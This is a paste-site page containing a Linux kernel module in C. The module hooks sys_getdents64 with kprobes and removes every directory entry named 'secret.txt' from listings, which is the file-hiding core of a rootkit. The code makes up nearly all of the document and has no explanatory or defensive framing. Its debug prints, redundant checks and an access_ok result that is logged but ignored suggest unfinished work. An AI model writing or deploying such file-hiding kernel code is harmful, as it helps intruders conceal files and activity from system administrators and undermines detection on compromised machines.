pb.stoleyour.com

Untitled

By Silly Agouti, 6 Months ago, written in Plain Text, viewed 75 times.
URL http://pb.stoleyour.com/view/8eed6237 Embed
Download Paste or View Raw — Expand paste to full width of browser
  1. #include <linux/module.h>
  2. #include <linux/kernel.h>
  3. #include <linux/kprobes.h>
  4. #include <linux/slab.h>
  5. #include <linux/dirent.h>
  6. #include <linux/uaccess.h>
  7.  
  8. MODULE_LICENSE("GPL");
  9.  
  10. #define FILE1 "secret.txt"
  11.  
  12. // Global pointer to hold user-space dirent buffer
  13. static char __user *dirent_user_ptr = NULL;
  14. static pid_t target_pid = -1;
  15. // Pre-handler (kprobe) to grab syscall arguments
  16. static struct kprobe kp = {
  17.     .symbol_name = "sys_getdents64"
  18. };
  19.  
  20. static int handler_pre(struct kprobe *p, struct pt_regs *regs) {
  21.     dirent_user_ptr = (char __user *)regs->bx; // 1st arg in x86 (fd, dirent buffer)
  22.     target_pid = current->pid;
  23.     printk(KERN_INFO "Captured dirent ptr: %p for PID: %d\n", dirent_user_ptr, target_pid);
  24.     return 0;
  25. }
  26.  
  27. // Return-handler (kretprobe) to modify syscall result
  28. static struct kretprobe rp = {
  29.     .kp.symbol_name = "sys_getdents64",
  30.     .handler = NULL,
  31.     .maxactive = 20
  32. };
  33.  
  34. static int handler_ret(struct kretprobe_instance *ri, struct pt_regs *regs) {
  35.    
  36.     long nread = regs->ax;
  37.     struct linux_dirent64 *d;
  38.     long bpos = 0, new_nread = nread;
  39.  
  40.     char *kbuf = kmalloc(nread, GFP_KERNEL);
  41.     printk(KERN_INFO "reg-ax returned: %ld\n", regs->ax);
  42.     printk(KERN_INFO "syscall return value: %ld for PID: %d\n", nread, current->pid);
  43.     printk(KERN_INFO "Dirent ptr is %p for %d\n", dirent_user_ptr, current->pid);
  44.     if (!access_ok(VERIFY_READ, dirent_user_ptr, nread)) {
  45.         printk(KERN_INFO "Dirent ptr %p: access_ok failed", dirent_user_ptr);
  46.     }
  47.     if (!dirent_user_ptr || current->pid != target_pid || nread <= 0) {
  48.         printk(KERN_WARNING "Skipping: Invalid pointer or PID mismatch or empty read\n");
  49.         dirent_user_ptr = NULL;
  50.         target_pid = -1;
  51.         return 0;
  52.     }
  53.     if (nread <= 0 || !dirent_user_ptr) {
  54.         printk(KERN_ERR "nread returned error: %ld\n", nread);
  55.         return 0;
  56.     }
  57.     if (nread > PAGE_SIZE * 4) {
  58.         printk(KERN_WARNING "Unusually large nread: %ld\n", nread);
  59.         return 0;
  60.     }
  61.     if (!kbuf) return 0;
  62.  
  63.     if (copy_from_user(kbuf, dirent_user_ptr, nread)) {
  64.         printk(KERN_ERR "copy_from_user failed");
  65.         kfree(kbuf);
  66.         return 0;
  67.     }
  68.     while (bpos < new_nread) {
  69.         d = (struct linux_dirent64 *)(kbuf + bpos);
  70.         if (strncmp(d->d_name, FILE1, strlen(FILE1)) == 0) {
  71.             memmove(kbuf + bpos, kbuf + bpos + d->d_reclen, new_nread - (bpos + d->d_reclen));
  72.             new_nread -= d->d_reclen;
  73.             continue;
  74.         } else {
  75.             bpos += d->d_reclen;
  76.         }
  77.     }
  78.     if (copy_to_user(dirent_user_ptr, kbuf, new_nread)) {
  79.         printk(KERN_ERR "copy_to_user failed");
  80.         kfree(kbuf);
  81.         return 0;
  82.     }
  83.  
  84.     regs->ax = new_nread;
  85.     kfree(kbuf);
  86.     dirent_user_ptr = NULL;
  87.     return 0;
  88. }
  89.  
  90. static int __init mod_init(void) {
  91.     int ret;
  92.  
  93.     kp.pre_handler = handler_pre;
  94.     ret = register_kprobe(&kp);
  95.     if (ret < 0) {
  96.         printk(KERN_ERR "Failed to register kprobe: %d\n", ret);
  97.         return ret;
  98.     }
  99.     rp.handler = handler_ret;
  100.     ret = register_kretprobe(&rp);
  101.     if (ret < 0) {
  102.         unregister_kprobe(&kp);
  103.         printk(KERN_ERR "Failed to register kretprobe: %d\n", ret);
  104.         return ret;
  105.     }
  106.     printk(KERN_INFO "Probes registered for sys_getdents64\n");
  107.     return 0;
  108. }
  109.  
  110. static void __exit mod_exit(void) {
  111.     unregister_kretprobe(&rp);
  112.     unregister_kprobe(&kp);
  113.     printk(KERN_INFO "Probes unregistered\n");
  114. }
  115.  
  116. module_init(mod_init);
  117. module_exit(mod_exit);
  118.  

Reply to "Untitled"

Here you can reply to the paste above

Powered By Stikked